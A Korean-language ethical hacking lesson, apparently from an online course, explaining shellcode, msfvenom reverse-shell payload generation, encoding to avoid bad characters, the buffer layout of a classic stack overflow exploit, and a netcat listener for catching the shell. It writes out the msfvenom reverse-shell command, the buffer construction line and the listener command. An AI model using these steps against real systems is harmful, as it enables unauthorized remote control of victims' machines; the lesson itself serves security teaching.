셸코드와 익스플로잇
셸 얻기
셸코드와 익스플로잇은(는) CoddyKit의 무료 Ethical Hacking Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Ethical Hacking Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
셸코드란 무엇인가요
셸코드는 실행될 때 특정 동작을 수행하는 작은 기계어 코드이며, 전통적으로 셸을 생성합니다. EIP를 제어한 후 실행을 리디렉션할 대상인 페이로드입니다.
메모리에 직접 주입할 수 있도록 원시 바이트(opcode)로 작성합니다.
페이로드 유형
일반적인 페이로드의 목표는 다음과 같습니다.
- 바인드 셸: 피해자 측에서 수신 대기 포트를 엽니다.
- 리버스 셸: 공격자에게 다시 연결합니다(방화벽/NAT를 통과하는 데 더 유리합니다).
- 명령 실행: 사용자 추가와 같은 단일 명령을 실행합니다.
실제 침투 테스트에서는 리버스 셸이 가장 흔합니다.
msfvenom으로 생성하기
msfvenom은 페이로드를 생성합니다. 페이로드 유형, 수신 대기 주소와 포트, 출력 형식, 피해야 할 잘못된 문자를 지정합니다.
-b 플래그는 잘못된 문자를 제외하고, -f는 출력 형식을 설정합니다.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c인코딩이 필요한 이유
원시 셸코드에는 잘못된 문자(널 바이트 등)가 포함되는 경우가 많습니다. 인코더는 이러한 바이트를 피하도록 페이로드를 변환한 다음, 실행 중 원래 코드를 복원하는 디코더 스텁을 앞에 붙입니다.
대표적인 인코더는 x86/shikata_ga_nai입니다.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"디코더와 자체 수정
인코딩된 셸코드는 실행되기 전에 메모리에서 스스로 디코딩됩니다. 이러한 자체 수정에는 스택에 약간의 여유 공간이 필요하므로 NOP 슬레드와 충분한 버퍼 공간이 도움이 됩니다.
디코더가 자신의 코드를 손상시키지 않도록 먼저 ESP를 조정해야 할 때도 있습니다.
최종 익스플로잇 구성
완성된 익스플로잇 버퍼는 다음과 같습니다.
- 오프셋까지의 패딩
- JMP ESP 반환 주소
- NOP 슬레드
- 인코딩된 셸코드
이 입력을 취약한 입력 지점에 보내면 실행이 페이로드로 이어집니다.
buf = "A"*offset + ret + "\x90"*16 + shellcode리스너 설정
리버스 셸을 사용하려면 익스플로잇을 실행하기 전에 자신의 컴퓨터에서 먼저 연결을 수신해야 합니다. 간단한 Netcat 리스너가 들어오는 연결을 수신합니다.
스테이징된 페이로드에는 대신 Metasploit의 multi/handler를 사용하십시오.
nc -lvnp 4444익스플로잇 실행
리스너가 준비되었으면 조작한 버퍼를 대상에 전송하십시오. 모든 요소가 맞으면 셸코드가 실행되고 리스너가 피해 시스템의 셸을 수신합니다.
이제 취약한 프로세스의 권한으로 명령을 실행할 수 있습니다.
python exploit.py 10.0.0.20 9999문제 해결
실패한다면 다음과 같은 흔한 원인을 확인하십시오.
- 셸코드나 반환 주소에 잘못된 문자가 포함되었습니다.
- NOP 슬레드가 너무 짧습니다.
- 디코더가 스택 공간을 충분히 확보하지 못했습니다(ESP를 조정하십시오).
- 오프셋이나 엔디언이 잘못되었습니다.
디버거에서 체계적으로 디버깅하면 문제를 격리할 수 있습니다.
고전적 오버플로를 넘어
DEP와 ASLR이 활성화되어 있으면 스택에 있는 일반 셸코드는 실행되지 않습니다. 현대의 익스플로잇은 기존 코드 가젯을 연결하는 반환 지향 프로그래밍(ROP)과 ASLR을 무력화하는 정보 유출을 사용합니다.
이 과정에서는 이러한 고급 기법의 기반이 되는 내용을 배웠습니다.
스테이징과 비스테이징 비교
페이로드는 두 가지 형태로 제공됩니다. 비스테이징 페이로드는 전체 셸코드를 하나의 덩어리에 담습니다. 스테이징된 페이로드는 작은 스텁을 전송하고, 이 스텁이 나머지를 핸들러에서 다운로드합니다.
스테이징된 페이로드는 더 작은 버퍼에도 들어가지만, 두 번째 단계를 전달하려면 Metasploit의 multi/handler처럼 이에 맞는 핸들러가 필요합니다.
빠른 확인
셸코드를 인코딩하는 경우가 많은 이유를 떠올려 보십시오.
복습
익스플로잇 연쇄 과정을 완료했습니다.
- 셸코드는 페이로드이며, 리버스 셸이 가장 실용적입니다.
- msfvenom으로 생성하고 인코딩하여 잘못된 문자를 피합니다.
- 패딩 + JMP ESP + NOP 슬레드 + 셸코드를 조합하고, 리스너를 시작한 뒤 실행합니다.
- 현대의 대상 시스템에서는 DEP/ASLR을 우회하기 위해 ROP와 정보 유출이 필요합니다.
버퍼 오버플로 익스플로잇 과정을 완료했습니다.
자주 묻는 질문
“셸코드와 익스플로잇” 강의는 무료인가요?
네 — “셸코드와 익스플로잇” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Ethical Hacking Academy 강의 전체를 잠금 해제할 수 있습니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.
“셸코드와 익스플로잇”에서 뭘 배우나요?
셸 얻기 브라우저에서 직접 실행하는 실습 코드로 Ethical Hacking Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.
Ethical Hacking Academy을(를) 시작하는 데 경험이 필요한가요?
사전 경험은 필요하지 않습니다. CoddyKit의 Ethical Hacking Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.
“셸코드와 익스플로잇” 강의는 얼마나 걸리나요?
대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.
이 Ethical Hacking Academy 강의에서 코드를 작성하고 실행할 수 있나요?
네. 모든 Ethical Hacking Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.